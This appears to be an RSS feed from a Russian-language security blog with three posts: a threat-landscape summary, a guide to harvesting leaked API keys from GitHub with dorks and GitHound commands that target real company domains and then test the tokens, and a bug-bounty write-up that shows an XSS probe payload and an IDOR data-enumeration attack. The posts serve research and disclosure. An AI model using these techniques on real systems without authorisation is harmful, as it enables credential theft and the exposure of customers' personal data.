<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Life-Hack Media</title><generator>teletype.in</generator><description><![CDATA[Сообщество по информационной безопасности.
Статьи, гайды, обучения, рекомендации, обзоры, новости, подборки полезного софта!]]></description><image><url>https://img1.teletype.in/files/08/cc/08cc5646-c284-496c-82ae-85dcadce9999.png</url><title>Life-Hack Media</title><link>https://teletype.in/@haccking</link></image><link>https://teletype.in/@haccking?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/haccking?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/haccking?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Sun, 05 Apr 2026 15:36:33 GMT</pubDate><lastBuildDate>Sun, 05 Apr 2026 15:36:33 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@haccking/r2fSHHtwmxd</guid><link>https://teletype.in/@haccking/r2fSHHtwmxd?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking</link><comments>https://teletype.in/@haccking/r2fSHHtwmxd?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking#comments</comments><dc:creator>haccking</dc:creator><title>THREAT ZONE: Исследование российского ландшафта киберугроз</title><pubDate>Tue, 11 Feb 2025 11:15:31 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/eb/08/eb0823b3-61cc-4e71-accb-fd50d270f223.png"></media:content><category>Информационная безопасность (ИБ)</category><description><![CDATA[<img src="https://img4.teletype.in/files/3c/ef/3cef64a0-6eaa-4295-ac48-df4075dcf67d.jpeg"></img>Всем, кто хочет грамотно выстроить защиту, важно знать своего врага. Часто угрозы остаются скрытыми для компаний, а обнаружить их удается слишком поздно: уже после того, как инцидент произошел и бизнес столкнулся с его последствиями. Организации стремятся решить эту проблему: одни обеспечивают соответствие нормативным стандартам, другие строят модель угроз, а третьи берут за основу рискориентированный подход. Однако, когда приходится столкнуться с реальными злоумышленниками, даже самая хорошая методология защиты, основанная на теоретических взглядах, на деле оказывается неэффективна. Чтобы обеспечить безопасность компании на практике, нужно знать противника в лицо и уметь ему противостоять. Для этого важно понимать, какие...]]></description><content:encoded><![CDATA[
  <figure id="5Qec" class="m_original">
    <img src="https://img4.teletype.in/files/3c/ef/3cef64a0-6eaa-4295-ac48-df4075dcf67d.jpeg" width="960" />
  </figure>
  <h2 id="WQ5i"><strong>Введение </strong></h2>
  <p id="cRKb"><br />Всем, кто хочет грамотно выстроить защиту, важно знать своего врага. Часто угрозы остаются скрытыми для компаний, а обнаружить их удается слишком поздно: уже после того, как инцидент произошел и бизнес столкнулся с его последствиями. Организации стремятся решить эту проблему: одни обеспечивают соответствие нормативным стандартам, другие строят модель угроз, а третьи берут за основу рискориентированный подход. <br /><br />Однако, когда приходится столкнуться с реальными злоумышленниками, даже самая хорошая методология защиты, основанная на теоретических взглядах, на деле оказывается неэффективна. Чтобы обеспечить безопасность компании на практике, нужно знать противника в лицо и уметь ему противостоять. Для этого важно понимать, какие кибергруппировки существуют, какие методы и техники атак они используют, на что нацелены, какими мотивами руководствуются.</p>
  <p id="7OdB"><a href="https://bi.zone/upload/for_download/Threat_Zone_2025_BI.ZONE_Research_rus.pdf?utm_source=qr&utm_medium=presentation&utm_campaign=threat_zone_2025_bi.zone_research_rus.pdf&utm_content=pressconf_threat_zone_2025&utm_term=05.02.2025" target="_blank">Подробней ознакомиться с презентацией можно тут.</a></p>
  <h3 id="WBa0"><strong>Топ-10 техник злоумышленников</strong> </h3>
  <p id="pTZI">Эти техники преступники чаще всего используют в атаках на территории России и СНГ. </p>
  <p id="8deB"><em><strong>1.</strong> <strong>Command and scripting interpreter</strong></em><br />С помощью интерпретаторов команд и сценариев, например PowerShell и Bash, злоумышленники могут решать задачи на разных этапах жизненного цикла атаки. Самой популярной эту технику делает широкая вариативность процедур, которые можно реализовать с ее помощью. </p>
  <p id="quI7"><strong><em>2.</em></strong> <strong><em>Remote services </em></strong><br />В большинстве случаев злоумышленники не ограничиваются компрометацией одной системы, а для продвижения используют службы удаленного доступа, например RDP и SSH. </p>
  <p id="Ygvw"><strong><em>3.</em></strong> <strong><em>Obfuscated files or information </em></strong><br />Чтобы снизить вероятность обнаружения вредоносных файлов, инструментов и сценариев, злоумышленники нередко прибегают к обфускации, что также может затруднять последующий криминалистический анализ. </p>
  <p id="Jujt"><strong><em>4.</em></strong> <strong><em>Masquerading </em></strong><br />Зачастую атакующие стремятся не привлекать внимание к используемым инструментам и ВПО, маскируя их названия под имена легитимных системных утилит и приложений. </p>
  <p id="OSra"><strong><em>5. Indicator removal </em></strong><br />Чтобы скрыть вредоносную активность и затруднить последующий криминалистический анализ, злоумышленники удаляют неиспользуемые вредоносные файлы и инструменты, теневые копии, очищают журналы и т. п. </p>
  <p id="F4hR"><strong><em>6.</em></strong> <strong><em>Phishing </em></strong><br />Фишинг не только частая причина взлома корпоративных IT-инфраструктур, с ним также связано широкое использование легитимных учетных записей. Злоумышленники нередко применяют скомпрометированный аутентификационный материал, полученный благодаря стилерам. Они, в свою очередь, часто распространяются через фишинговые электронные письма.</p>
  <p id="RRKi"><strong><em>7. OS Credential dumping </em></strong><br />Злоумышленники по-прежнему активно извлекают аутентификационный материал с помощью популярных инструментов, например Mimikatz и LaZagne. Часто это открывает широкие возможности для продвижения в скомпрометированных IT-инфраструктурах. </p>
  <p id="f2z7"><strong><em>8. Application layer protocol </em></strong><br />Атакующим необходимо взаимодействовать со скомпрометированной системой. Чаще всего они используют для этого веб-протоколы, например HTTPS. </p>
  <p id="ZeM3"><strong><em>9. Impair defenses</em></strong> <br />Злоумышленники не только избавляются от следов, которые оставляют их методы и инструменты, но и отключают средства защиты. Это позволяет им беспрепятственно проходить этапы жизненного цикла атаки. </p>
  <p id="X7c8"><strong><em>10.</em></strong> <strong><em>System information discovery </em></strong><br />В большинстве случаев злоумышленникам необходимо получить хотя бы базовую информацию о скомпрометированной системе.</p>
  <h2 id="EaRj"><strong>Ключевые выводы</strong> </h2>
  <p id="fJc1">Мы подготовили краткий обзор ландшафта киберугроз России и СНГ. Ниже представлены основные цели, методы и популярные техники злоумышленников, а также список самых атакуемых отраслей. </p>
  <h3 id="3qwU"><strong>10 особенностей ландшафта киберугроз</strong></h3>
  <p id="W1sP">В 2024 году команда BI.ZONE Threat Intelligence зафиксировала следующие ключевые особенности киберландшафта. </p>
  <p id="K9nC"><strong><em>1. Использование инфраструктуры подрядчиков </em></strong><br />Злоумышленники все еще активно используют инфраструктуры подрядчиков, чтобы получить доступ к IT-инфраструктурам жертв. При этом атакующие компрометируют как небольших, так и крупных провайдеров, что позволяет получить доступ к конфиденциальным данным множества компаний. </p>
  <p id="uCXH"><strong><em>2. Применение ПО с русскоязычных теневых ресурсов </em></strong><br />Кластеры активности регулярно используют для атак на российские организации ПО, распространяемое на русскоязычных теневых ресурсах. Такой подход позволяет злоумышленникам не тратить силы и средства на разработку и сразу получать готовый инструмент. </p>
  <p id="nu7N"><strong><em>3. Эксперименты с фреймворками постэксплуатации </em></strong><br />Атакующие активно экспериментируют с различными фреймворками постэксплуатации, в том числе непопулярными. Более того, в рамках одной атаки они могут использовать агенты различных фреймворков, что позволяет прочнее закрепляться в скомпрометированной IT-инфраструктуре и затрудняет реагирование на инцидент. </p>
  <p id="NGnf"><strong><em>4. Фишинг от имени государственных организаций </em></strong><br />Все чаще злоумышленники делают фишинговые рассылки от имени различных госорганизаций. В письмах они подчеркивают, что нужно быстро реагировать на сообщение. Это повышает вероятность того, что жертва откроет вредоносное вложение или перейдет по ссылке. 5 6 9 8 Threat Zone 2025 </p>
  <p id="PYUY"><strong><em>5. Использование средств туннелирования трафика </em></strong><br />Злоумышленники активно используют средства туннелирования трафика, которые часто представляют собой легитимное ПО. Это позволяет обойти часть средств защиты и получить персистентный резервный канал доступа в скомпрометированную IT-инфраструктуру.</p>
  <p id="n6gl"><strong><em>6. Загрузка собственных интерпретаторов команд и сценариев </em></strong><br />Атакующие не только используют имеющиеся в скомпрометированной системе интерпретаторы команд и сценариев, но и загружают собственные. Последние, например Python или NodeJS, используются значительно реже, что затрудняет обнаружение вредоносной активности. </p>
  <p id="FzJP"><strong><em>7. Деструктивные действия шпионов </em></strong><br />Кластеры активности, занимающиеся шпионажем, не только собирают и эксфильтруют конфиденциальную информацию, но и, подобно хактивистам, могут реализовывать деструктивные действия в скомпрометированной IT-инфраструктуре. </p>
  <p id="MS2R"><strong><em>8. Публикация данных на теневых ресурсах </em></strong><br />Кластеры хактивистской направленности продолжают активно публиковать конфиденциальные и персональные данные на теневых ресурсах. При этом часто злоумышленники сначала анализируют полученное и ищут информацию, позволяющую им попасть в другие организации. </p>
  <p id="4b1H"><strong><em>9. Коллаборация хактивистов </em></strong><br />Злоумышленники, вовлеченные в хактивизм, активно сотрудничают друг с другом, что влияет на набор их методов и инструментов, а также затрудняет кластеризацию. В то же время так легче обнаружить связанную вредоносную активность. </p>
  <p id="jap8"><strong><em>10. Увеличение размера выкупа за расшифровку </em></strong><br />Сумма, которую злоумышленники требуют за расшифровку данных, все чаще исчисляется десятками миллионов рублей. Атакующие тщательно изучают скомпрометированную организацию, в том числе ее финансовую отчетность, чтобы определить максимально возможную сумму выкупа.</p>
  <p id="xeyP"><a href="https://bi.zone/upload/for_download/Threat_Zone_2025_BI.ZONE_Research_rus.pdf?utm_source=qr&utm_medium=presentation&utm_campaign=threat_zone_2025_bi.zone_research_rus.pdf&utm_content=pressconf_threat_zone_2025&utm_term=05.02.2025" target="_blank">Подробней ознакомиться с презентацией можно тут.</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@haccking/TE7HTROZ-NO</guid><link>https://teletype.in/@haccking/TE7HTROZ-NO?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking</link><comments>https://teletype.in/@haccking/TE7HTROZ-NO?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking#comments</comments><dc:creator>haccking</dc:creator><title>Как я заработал $15k из-за утечки секретов GitHub</title><pubDate>Fri, 24 Jan 2025 19:26:31 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/cb/81/cb814613-3e7e-4e56-a570-27fb036fe834.png"></media:content><category>Информационная безопасность (ИБ)</category><description><![CDATA[<img src="https://img2.teletype.in/files/55/50/5550d053-18bf-4795-9395-88e414570c83.png"></img>API-ключи, пароли и данные клиентов ежедневно случайно публикуются на GitHub.]]></description><content:encoded><![CDATA[
  <figure id="dGrX" class="m_original">
    <img src="https://img2.teletype.in/files/55/50/5550d053-18bf-4795-9395-88e414570c83.png" width="1684" />
  </figure>
  <p id="lpPT">API-ключи, пароли и данные клиентов ежедневно случайно публикуются на GitHub.</p>
  <p id="SI8M">Хакеры используют эти ключи для доступа к серверам, кражи личной информации. Утечки на GitHub могут стоить компании тысячи, а то и миллионы долларов в убытках. Сбор открытой разведывательной информации на GitHub стал мощным инструментом в арсенале каждого исследователя безопасности: исследователи из NC State даже написали <a href="https://www.ndss-symposium.org/wp-content/uploads/2019/02/ndss2019_04B-3_Meli_paper.pdf" target="_blank">академическую статью</a> на эту тему.</p>
  <p id="cfcu">Эта статья, написанная как для охотников за багами, так и для команд корпоративной информационной безопасности, демонстрирует общие типы конфиденциальной информации (секретов), которые пользователи публикуют в общедоступных репозиториях GitHub, а также эвристику для их поиска. Техники, описанные в этой статье, также можно применить к <a href="https://gist.github.com/" target="_blank">GitHub Gist</a>.</p>
  <p id="5SPy">Благодаря этим техникам, в прошлом году я заработал почти $10,000 за уязвимости на Багбаунти программах <a href="https://hackerone.com/" target="_blank">HackerOne</a>, даже не посещая сайты этих программ. Я подал более 30 отчетов о раскрытии информации уязвимыми корпорациями, включая восемь компаний из списка Fortune 500.</p>
  <p id="g8Ie">Я также выпустил <a href="https://github.com/tillson/git-hound" target="_blank">GitHound</a>, инструмент с открытым исходным кодом, разработанный для автоматизации процесса поиска ключей по всему GitHub. GitHound не ограничивается одним пользователем или организацией: он просеивает весь GitHub, используя запросы поиска по коду, регулярные выражения и некоторые другие хитрые трюки для нахождения секретов.</p>
  <p id="hfrf"><strong>Поиск по коду GitHub</strong></p>
  <p id="g6VH">Прежде чем мы перейдем к автоматизированным инструментам и стратегиям охоты за уязвимостями, давайте поговорим о поиске по коду.</p>
  <p id="h30i">GitHub предоставляет богатый функционал поиска по коду, который сканирует общедоступные репозитории GitHub (некоторый контент опускается, например, форки и недефолтные ветки). Запросы могут быть простыми, например, uberinternal.com, или могут содержать многословные строки, такие как &quot;Authorization: Bearer&quot;. Поиски могут нацеливаться на конкретные файлы (filename: vim_settings.xml) или конкретные языки программирования (language:SQL). Запросы также могут содержать некоторые булевы квалификаторы, такие как NOT и &gt;.</p>
  <p id="hYdt">Знание правил поиска по коду GitHub позволяет нам создавать поисковые дорки — запросы, которые предназначены для нахождения чувствительной информации. GitHub-дорки можно найти в интернете, но лучшие из них — те, которые вы придумываете сами.</p>
  <p id="y07J">Например, filename: vim_settings.xml (попробуйте его!) нацелен на файлы настроек IntelliJ. Интересно, что файл vim_settings.xml содержит недавно скопированные строки, закодированные в Base64. Недавно я заработал $2400 на баунти за уязвимости благодаря этому дорку (API-ключи SaaS и информация о клиентах были раскрыты в файле vim_settings.xml).</p>
  <figure id="dC4z" class="m_original">
    <img src="https://img1.teletype.in/files/c7/d6/c7d60a01-1d38-458d-98df-f67d71d1be45.png" width="1776" />
  </figure>
  <p id="N9Mw">Файл vim_settings.xml содержит только недавно скопированные строки, но мы можем использовать историю коммитов репозитория, чтобы найти всю историю копирования и вставки. Просто клонируйте репозиторий, запустите этот 14-строчный скрипт, и активность пользователя будет у вас под рукой. GitHound также находит и сканирует закодированные в base64 строки для поиска секретов, даже в истории коммитов.</p>
  <p id="mG62">Кстати, с помощью дорка для поиска коммитов на GitHub, мы можем быстро просканировать все 500,000 коммитов, связанных с vim_settings.xml.</p>
  <figure id="ePOw" class="m_original">
    <img src="https://img3.teletype.in/files/e7/1c/e71c04be-9a1a-41d5-ac40-be0311e75df9.png" width="1604" />
  </figure>
  <p id="gQea"><strong>Поисковая эвристика для охотников за багами</strong></p>
  <p id="T6kC">GitHub дорки находят конфиденциальную информацию в больших обьемах, но что, если мы хотим искать информацию о конкретной компании? На GitHub миллионы репозиториев и еще больше файлов, поэтому нам понадобятся некоторые навыки для сужения области поиска.</p>
  <p id="7j6f">Я обнаружил, что лучший способ начать поиск — это найти домены  и поддомены, которые идентифицируют корпоративную инфраструктуру.</p>
  <p id="6kI0">Поиск по company.com, вероятно, не даст полезных результатов: многие компании выпускают проверенные open-source проекты, которые вряд ли содержат секреты. Менее используемые домены и поддомены более интересны. Например конкретные хосты, такие как jira.company.com, и прочие домены более низкого уровня. Более эффективно искать по шаблону, чем по одному домену: corp.somecompany.com, somecompany.net или companycorp.com с большей вероятностью появятся только в конфигурационных файлах сотрудников.</p>
  <p id="HD0z">Здесь помогут обычные инструменты разведки из открытых источников:</p>
  <p id="2Imu">* <a href="https://github.com/TheRook/subbrute" target="_blank">Subbrute</a> - инструмент на Python для перебора поддоменов<br />* <a href="https://www.threatcrowd.org/" target="_blank">ThreatCrowd</a> - при вводе домена ищет связанные домены с помощью множества OSINT техник <br />* <a href="https://censys.io/" target="_blank">Censys.io</a> - при вводе домена находит SSL-сертификаты, которые его используют</p>
  <p id="eEp9">GitHound также может помочь с обнаружением поддоменов: добавьте пользовательское регулярное выражение \.company\.com и запустите GitHound с флагом --regex-file.</p>
  <p id="2UTW">После того как вы найдете хост или шаблон для поиска, поэкспериментируйте с поиском на GitHub (я всегда делаю это перед использованием автоматизированных инструментов). Здесь я задаю себе несколько вопросов:</p>
  <ul id="MryE">
    <li id="zibK">Сколько результатов появилось? Если более 100 страниц, возможно придется найти более подходящий запрос для начала (GitHub ограничивает результаты поиска по коду до 100 страниц).</li>
    <li id="lUja">Какие результаты появились? Если результаты представляют собой (намеренно) открытые проекты и людей, использующих публичные API, тогда необходимо уточнить поиск, чтобы устранить их.</li>
    <li id="4wpp">Что произойдет, если я изменю язык? language:Shell и language:SQL могут дать интересные результаты.</li>
    <li id="EJkG">Показывают ли эти результаты другие домены или хосты? Результаты на нескольких первых страницах часто включают ссылку на другой домен (например, поиск jira.uber.com может показать существование другого домена, такого как uberinternal.com).</li>
  </ul>
  <p id="4E3n">Большую часть времени я провожу на этом этапе.</p>
  <p id="0xGf">Очень важно, чтобы пространство поиска было корректно и четко определено. Автоматизированные инструменты и ручной поиск будут значительно быстрее и точнее при использовании правильного запроса.</p>
  <p id="hrRN">Как только я нахожу результаты, которые выглядят интересными (на основе приведенных выше критериев), я запускаю их через GitHound с параметрами --dig-files и --dig-commits, чтобы просмотреть весь репозиторий и его историю.</p>
  <pre id="FWKz">echo &quot;uberinternal.com&quot; | ./git-hound --dig-files --dig-commits</pre>
  <pre id="D4Vj">echo &quot;uber.com&quot; | ./git-hound --dig-files --language-file languages.txt --dig-commits</pre>
  <pre id="Sqgl">echo &quot;uber.box.net&quot; | ./git-hound --dig-files --dig-commits</pre>
  <p id="MeWX">GitHound также находит интересные файлы, которые просто поиском выявить не удастся, например .zip или .xlsx файлы. Важно отметить, что также я проверяю результаты вручную, так как автоматизированные инструменты часто пропускают клиентские данные, чувствительный код и комбинации имени пользователя/пароля.</p>
  <p id="Tt84">Часто эти файлы раскрывает больше поддоменов или других интересных шаблонов, которые дают мне идеи для дополнительных поисковых запросов. Важно помнить, что разведка из открытых источников — это рекурсивный процесс.</p>
  <ul id="NZ2V">
    <li id="ntDa">Этот процесс почти всегда приводит к нахождению результатов. Утечки обычно попадают в одну из следующих категорий (расположены от наиболее значимых, к наименее):</li>
    <li id="8MrY">Ключи SaaS API - Компании редко накладывают ограничения по IP на API. Ключи AWS, Slack, Google и других API - настоящее золото. Обычно их находят в конфигурационных файлах, bash истории и скриптах.</li>
    <li id="BWJe">Учётные данные серверов/баз данных - Обычно находятся за брандмауэром, поэтому менее значимы. Чаще всего их можно найти в конфигурационных файлах, bash истории и скриптах.</li>
    <li id="bLME">Информация о клиентах/сотрудниках - Скрываются в .xlsx, .csv и .xml файлах и варьируются от электронных адресов до платёжной информации и обзоров трудовой деятельности сотрудников.</li>
    <li id="v6D6">Скрипты дата-сайенс - SQL запросы, скрипты на R, и проекты Jupyter могут раскрыть чувствительную информацию. В этих репозиториях также часто встречаются файлы с &quot;тестовыми данными&quot;.</li>
    <li id="hGej">Имена хостов/метаданные - Самый распространённый результат. Большинство компаний не считают это уязвимостью, но они могут помочь уточнить будущие поиски.</li>
  </ul>
  <p id="zyNV"><strong>Рабочий процесс для конкретных поставщиков API</strong></p>
  <p id="KTXz">Также можно создавать дорки для поиска конкретных поставщиков API и их конечных точек. Это особенно полезно для компаний, создающих автоматические проверки API ключей своих пользователей. С знанием контекста и синтаксиса API ключа, можно значительно сократить область поиска.</p>
  <p id="s8FG">Зная конкретного поставщика API, мы можем получить все ключи, которые соответствуют regex шаблону заданного поставщика. Затем мы можем проверить их на валидность, используя внутреннюю базу данных или конечную точку API.</p>
  <figure id="koyy" class="m_original">
    <img src="https://img1.teletype.in/files/c8/de/c8dedf90-17ce-4f9f-8571-282ca945be3d.png" width="2000" />
  </figure>
  <p id="NXJV">Например, предположим, что компания (HalCorp) предоставляет API для пользователей, чтобы читать и записывать данные аккаунта. Создав собственный аккаунт в HalCorp, мы обнаруживаем, что API ключи имеют формат </p>
  <blockquote id="Cpcy">[a-f]{4}-[a-f]{4}-[a-f]{4}</blockquote>
  <pre id="gW9y"># Python
import halapi
api = halapi.API()
api.authenticate_by_key(&#x27;REDACTED&#x27;)

# REST API with curl
curl -X POST -H &quot;HALCorp-Key: REDACTED&quot; https://api.halcorp.biz/userinfo</pre>
  <p id="7B5l">Вооружившись этой информацией, мы можем составить свои собственные GitHub dorks для ответов HalCorp API:</p>
  <pre id="0brP"># Python
&quot;authenticate_by_key&quot; &quot;halapi&quot; language:python

# REST API
&quot;HALCorp-Key&quot;</pre>
  <p id="EJfb">С помощью инструмента GitHound мы можем использовать регулярные выражения, чтобы находить строки, соответствующие регулярному выражению API ключа, и выводить их в файл:</p>
  <pre id="DG96">echo &quot;HALCorp-Key&quot; | git-hound --dig-files --dig-commits --many-results --regex-file halcorp-api-keys.txt --results-only &gt; api_tokens.txt</pre>
  <p id="pSGy"><br />Теперь, когда у нас есть файл, содержащий потенциальные API токены, мы можем проверять их на актуальность (не делайте этого без письменного разрешения от поставщика API).</p>
  <p id="KJCJ">В случае с HalCorp, мы можем написать bash-скрипт, который читает из stdin, проверяет конечную точку api.halcorp.biz/userinfo и выводит ответ.</p>
  <pre id="9ff8">cat api_tokens.txt | bash checktoken.bash</pre>
  <p id="hgVh"><strong>Устранение</strong></p>
  <p id="4G9I">Несмотря на возросшую осведомленность о раскрытии секретов в GitHub, ежедневно публикуется всё больше конфиденциальных данных.</p>
  <p id="emWL">Amazon Web Services начали уведомлять пользователей, если их API ключи размещены в сети. GitHub добавил функции безопасности, которые сканируют публичные репозитории на наличие ключей. Однако эти решения лишь временные меры. Чтобы ограничить утечки секретной информации из исходного кода, мы должны обновлять API фреймворки и DevOps методологии, чтобы полностью предотвратить хранение API ключей в репозиториях Git/SVN. Программное обеспечение, такое как Vault, безопасно хранит ключи, а некоторые поставщики API, такие как Google Cloud Platform, обновили свои библиотеки, чтобы по умолчанию принуждать хранить API ключи в файле.</p>
  <p id="0pU9"><a href="https://tillsongalloway.com/finding-sensitive-information-on-github/index.html" target="_blank">Источник</a></p>
  <p id="pflk"><strong>Life-Hack Media:</strong></p>
  <p id="gIiW"><a href="https://t.me/+9vFcPuJbUW81MjEy" target="_blank">Life-Hack - Жизнь-Взлом</a></p>
  <p id="QOcc"><a href="https://t.me/+pHdKt8ZxN0o2NGRi" target="_blank">OSINT</a></p>
  <p id="16PP"><a href="https://t.me/+gsTxO5cHhX0wN2Uy" target="_blank">Новости Кибербеза</a></p>
  <p id="5hPt"><a href="https://t.me/+LjoqRT1KP41lNDgy" target="_blank">Курсы по программированию</a></p>
  <p id="qLcM"><a href="https://t.me/+zmVTbJXjHu8yMTNi" target="_blank">Юмор</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@haccking/XA5IvcD52kS</guid><link>https://teletype.in/@haccking/XA5IvcD52kS?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking</link><comments>https://teletype.in/@haccking/XA5IvcD52kS?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=haccking#comments</comments><dc:creator>haccking</dc:creator><title>Как я обнаружил критическую уязвимость и заработал 4 000 долларов на Bug Bounty</title><pubDate>Tue, 21 Jan 2025 17:45:14 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/ae/05/ae05b3e0-3bf1-42bc-ab6a-50f6eb869a0b.png"></media:content><category>Информационная безопасность (ИБ)</category><description><![CDATA[<img src="https://img2.teletype.in/files/51/d0/51d09b9a-b862-46c4-b189-c68e8b6ace77.png"></img>Привет, хакеры! Это Zack0x01, и я снова здесь, чтобы поделиться одним из самых интересных случаев в моем пути Bug Bounty. После перерыва по личным причинам, с сентября я возобновил охоту в рамках публичной программы Bug Bounty (BBP) на платформе HackerOne. В этом блоге я расскажу о своем пути, инструментах, которые я использовал, и о том, как заработал 4 000 долларов, обнаружив критические уязвимости. Давайте начнем!]]></description><content:encoded><![CDATA[
  <figure id="FLum" class="m_original">
    <img src="https://img2.teletype.in/files/51/d0/51d09b9a-b862-46c4-b189-c68e8b6ace77.png" width="689" />
  </figure>
  <p id="RrEH">Привет, хакеры! Это Zack0x01, и я снова здесь, чтобы поделиться одним из самых интересных случаев в моем пути Bug Bounty. После перерыва по личным причинам, с сентября я возобновил охоту в рамках публичной программы Bug Bounty (BBP) на платформе HackerOne. В этом блоге я расскажу о своем пути, инструментах, которые я использовал, и о том, как заработал 4 000 долларов, обнаружив критические уязвимости. Давайте начнем!</p>
  <p id="oPE2"><strong>Перебор поддоменов</strong></p>
  <p id="UgFn">Перебор поддоменов не всегда является моей основной стратегией. Однако для этой цели я использовал такие инструменты, как <a href="https://github.com/projectdiscovery/subfinder" target="_blank">Subfinder</a>, <a href="https://github.com/Findomain/Findomain" target="_blank">Findomain</a> и  <a href="https://github.com/tomnomnom/assetfinder" target="_blank">Assetfinder</a>, чтобы собрать полный список поддоменов.<br />Чтобы удалить дубликаты, я использовал известный инструмент <a href="https://github.com/tomnomnom/anew" target="_blank">anew</a> от TomNomNom, а затем использовал <a href="https://github.com/projectdiscovery/httpx" target="_blank">httpx</a> от Project Discovery для определения активных поддоменов.</p>
  <blockquote id="wBXU">Совет профессионала: Как только все поддомены перечислены, <a href="https://github.com/RedSiege/EyeWitness" target="_blank">Eyewitness</a> поможет придать наглядности, создавая скриншоты всех поддоменов и организуя их в одну HTML-страницу. Этот метод сэкономил мне время и усилия при поиске интересной страницы для входа и регистрации на test-domain-h1.app.com.</blockquote>
  <figure id="iaLk" class="m_original">
    <img src="https://img4.teletype.in/files/36/e3/36e359ba-63bf-4a7c-a4ba-a0f0712d3bf3.png" width="689" />
  </figure>
  <p id="KDoA"><strong>Анализ логики приложения</strong></p>
  <p id="ORGG">Понимание бизнес-логики приложения крайне важно для успешного поиска уязвимостей. Например:<br />    • Приложения электронной коммерции: ищите уязвимости в процессах оплаты, формирования цен и оформления заказа.<br />    • Платформы для бронирования билетов: анализируйте функции, связанные с созданием билетов, их передачей и управления бронированием.</p>
  <p id="BFWv">Для этой цели — приложения для бронирования билетов — я изучил его основные функции, сосредоточив внимание на слабых местах, которые могли бы нарушить бизнес-процессы или поставить под угрозу данные пользователей.</p>
  <p id="1Ls2"><strong>Тестирование функциональности приложения</strong></p>
  <p id="gWe5">Когда я понял, как работает приложение, я начал тестировать функции создания билетов и ссылки для регистрации. Вот что я сделал:<br />    1. Использовал полезные нагрузки, такие как <code>&#x27;&gt;&lt;svg/onload=confirm(1)&gt;</code>, в поля имя, email и описание при создании билета.<br />    2. Генерировал и проверял публичные ссылки для регистрации, чтобы убедиться, что мои полезные нагрузки вызывают XSS (межсайтовый скриптинг).</p>
  <p id="UnJw"><strong>Первоначальные результаты</strong></p>
  <p id="mFJ3">Было обнаружено несколько XSS уязвимостей, но они оказались дубликатами ранее обнаруженных проблем.</p>
  <figure id="Jxu0" class="m_original">
    <img src="https://img4.teletype.in/files/71/6f/716fa271-a5b1-472c-9853-6e2747b7e162.png" width="629" />
  </figure>
  <p id="3rE2">Несмотря на первоначальные неудачи, после небольшого перерыва я вернулся к приложению с новыми силами.</p>
  <p id="vmtv"><strong>Важное открытие</strong></p>
  <p id="4tUH">В процессе изучения административных функций я наткнулся на кнопку с надписью &quot;EXPORT YOUR CUSTOMERS&quot;, которая позволяла экспортировать данные клиентов в формате PDF или Excel.<br />При перехвате запроса экспорта с помощью Burp Suite я обнаружил следующий POST-запрос:</p>
  <pre id="8OZE">POST /FileGenerator/user/ZAZZ-SDFSSDF-ZERZE-QSDFQSF
Host: test-domain-h1.app.com
Cookie: ....  </pre>
  <pre id="PQRc">{&quot;UserID&quot;: &quot;ZAZZ-SDFSSDF-ZERZE-QSDFQSF&quot;}</pre>
  <p id="Q4EF"><strong>Стратегия эксплуатации:</strong></p>
  <p id="BtcK">Ответ сервера возвращал fileID, который затем использовался в GET-запросе для получения данных клиентов.<br />Путём инкрементирования значения fileID я получил доступ к данным других клиентов, включая:<br />    • Полное имя<br />    • Адрес электронной почты<br />    • Почтовый индекс<br />    • Номер телефона<br />    • Адрес</p>
  <p id="dzb9">Эта уязвимость раскрывала конфиденциальную информацию, которая могла стоить тысячи долларов на чёрном рынке!</p>
  <p id="c7ea"><strong>Impact:</strong></p>
  <p id="0GeG">В приложении, стоимость которого оценивается в миллиарды, была обнаружена критическая уязвимость IDOR (Insecure Direct Object Reference). Я оперативно сообщил об уязвимости и получил вознаграждение в размере $2,000.</p>
  <figure id="UiNK" class="m_original">
    <img src="https://img2.teletype.in/files/10/ee/10eeeced-1776-4446-9ba0-18bab4deab95.png" width="447" />
  </figure>
  <p id="18Ag"><strong>Продолжение поиска: никогда не останавливайтесь на одной уязвимости</strong></p>
  <p id="2aHq">Вдохновлённый своим открытием, я продолжил изучать VIP-функции приложения. Я обнаружил аналогичную функциональность экспорта, связанную с данными VIP-клиентов. Повторив описанные выше шаги, я смог использовать ту же уязвимость на другой конечной точке.</p>
  <p id="mPOV"><strong>Результат:</strong></p>
  <p id="gD1a">За это дополнительное открытие я получил ещё $2,000. Общая сумма вознаграждения составила $4,000.</p>
  <figure id="D7cW" class="m_original">
    <img src="https://img1.teletype.in/files/cb/87/cb87db50-0761-42e6-a6c7-84b325c86a87.png" width="447" />
  </figure>
  <p id="4fsk"><strong>Основные выводы:</strong><br />    1. Тщательная энумерация: Не пренебрегайте субдоменами — они часто содержат скрытые «жемчужины».<br />    2. Понимание бизнес-логики: Анализируйте назначение и влияние каждой функции, чтобы обнаружить критические уязвимости.<br />    3. Упорство приносит результаты: Неудачи — это часть процесса. Возвращаясь к целевому приложению с новыми силами, можно добиться значительных успехов.<br />    4. Дубликаты? Не сдавайтесь: Тестирование схожих функциональностей часто помогает обнаружить упущенные уязвимости.</p>
  <p id="uMST">Спасибо, что ознакомились с моим рассказом.</p>
